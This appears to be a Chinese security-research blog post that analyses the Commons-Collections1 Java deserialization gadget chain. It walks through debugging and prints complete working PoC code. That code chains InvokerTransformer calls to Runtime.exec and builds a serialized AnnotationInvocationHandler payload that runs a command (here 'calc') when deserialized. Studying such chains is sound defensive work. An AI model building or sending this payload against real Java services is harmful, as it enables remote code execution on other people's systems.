java反序列化Commons-Collections1分析
AnnotationInvocationHandler关键类
Commons-Collections1也是利用InvokerTransformer类中的transform方法反射机制执行命令。实验用的是commons-collections 3.1这里说一下为什么调用构造elEntry.setValue("hahah");就会弹计算器。poc前一步需要理解如下代码:
package com.imooc.bigdata.datafile;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Test1 {
public static void main(String[] args)
{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("name", "hello");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next();
elEntry.setValue("hahah");
}
}
在setValue下断点调试:

F7跟进,调用了checkSetValue方法:

F7跟进,就会跳到TransformedMap类的checkSetValue方法。

继续F7调用Transform方法

继续跟就会来到我们命令执行的transform方法中。最终导致RCE。

以上就是为什么调用setValue会触发RCE。
继续找一个类满足如下条件就能触发反序列化漏洞:
(1)使用了InvokeTransformer的对象,并在transform方法里执行代码;
(2)使用TransformedMap通过执行setValue方法来触发transform方法。
这时候就找到AnnotationInvocationHandler这个类,这个类的readObject方法就存在setValue方法触发RCE
最终的Poc如下:
package com.imooc.bigdata.datafile;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class Test {
public static Object Reverse_Payload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload(),"obj");
payloadTest("obj");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
调试下,293行调用setValue方法。

执行调用栈的过程如下图。说一下需要看执行栈情况的时候,可以在Runtime类的exec方法打个断点,弹计算器的时候就是RCE执行完了。

参考文章:
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/#h3_%E5%88%A9%E7%94%A8apache-commons-collections%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C
https://paper.seebug.org/312/#6-java-apache-commonscollections-rce
java反序列化Commons-Collections1分析的更多相关文章
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
- java反序列化——apache-shiro复现分析
本文首发于“合天智汇”公众号 作者:Fortheone 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些 ...
- java反序列化-ysoserial-调试分析总结篇(2)
前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...
- java反序列化-ysoserial-调试分析总结篇(7)
前言: CommonsCollections7外层也是一条新的构造链,外层由hashtable的readObject进入,这条构造链挺有意思,因为用到了hash碰撞 yso构造分析: 首先构造进行rc ...
- Commons Collections1分析
0x01.基础知识铺垫 接下来这个过程将涉及到几个接口和类 1.LazyMap 我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map: Map outerMap = ...
- java反序列化-ysoserial-调试分析总结篇(3)
前言: 这篇文章主要分析commoncollections3,这条利用链如yso描述,这个与cc1类似,只是反射调用方法是用的不是invokeTransformer而用的是InstantiateTra ...
- java反序列化-ysoserial-调试分析总结篇(4)
1.前言 这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了i ...
随机推荐
- MySQL (一)(未完成)
并发控制 读写锁 读锁: 共享锁 写锁: 排它锁 颗粒度 表锁,MySQL中开销最小的锁 行锁,MySQL中开销最大的锁 事务 ACID特性 原子性(Automatic) 隔离性(Isolation) ...
- 【7】.net WebAPI Owin OAuth 2.0 密码模式验证实例
1.OAuth密码模式 2.在VS中创建WebAPI项目 在nuget中安装: Microsoft.AspNet.WebApi.Owin Microsoft.Owin.Host.SystemWeb 这 ...
- Vue2.0实现ie的兼容
转自:https://blog.csdn.net/landl_ww/article/details/79149461 1.解决方案:安装 "babel-polyfill" ,加配置 ...
- js中数组, JSON的与字符串的处理
1. JSON转字符串 var jsonStr = {"name": "xiaoming", "sex": "男"} J ...
- java中程序上线报错: tomcat中java.lang.OutOfMemoryError: PermGen space
在程序测试没问题之后,上线试运行,在运行的过程中某个功能一点击就报如下错,然后重启服务器就好了,一会又是如此,解决方法如下(亲测) PermGen space的全称是Permanent Generat ...
- python学习之老男孩python全栈第九期_day026知识点总结——封装、property、类方法、初识反射
一. 封装 class Room: def __init__(self, name, length, width): self.__name = name self.__length = length ...
- MVC 事物同时保存,更新数据库
本人小白一枚,第一次写博,主要用作笔记,怕以后忘记了,大神尙可路过,也可多多指教 事物用在同时保存更新数据时,及只要在事物块的范围内,有一个操作出错则事物块所有更新,保存等操作都不会执行 ...
- .net reflector+reflexil修改编译后的dll文件
1.用reflector打开相关的dll文件. 2.如果reflector中没有reflexil插件,点击工具栏中的Tools->Add-Ins 3.找到需要修改的文件,双击打开该文件:点击To ...
- Apose.Cell导出的Excel数字格式正确显示
使用Apose.Cell导出Excel时假如导出的如上图:边框左上角有绿色三角形区域,选中某个区域会出现感叹号询问是否要将文本转换为数字 那么在代码中使用PutValue方法时,后面的bool参数设为 ...
- Redirect local emails to a remote email account
My previous post is a guide for setting up exim4, an SMTP mail server, to use Gmail as a smarthost. ...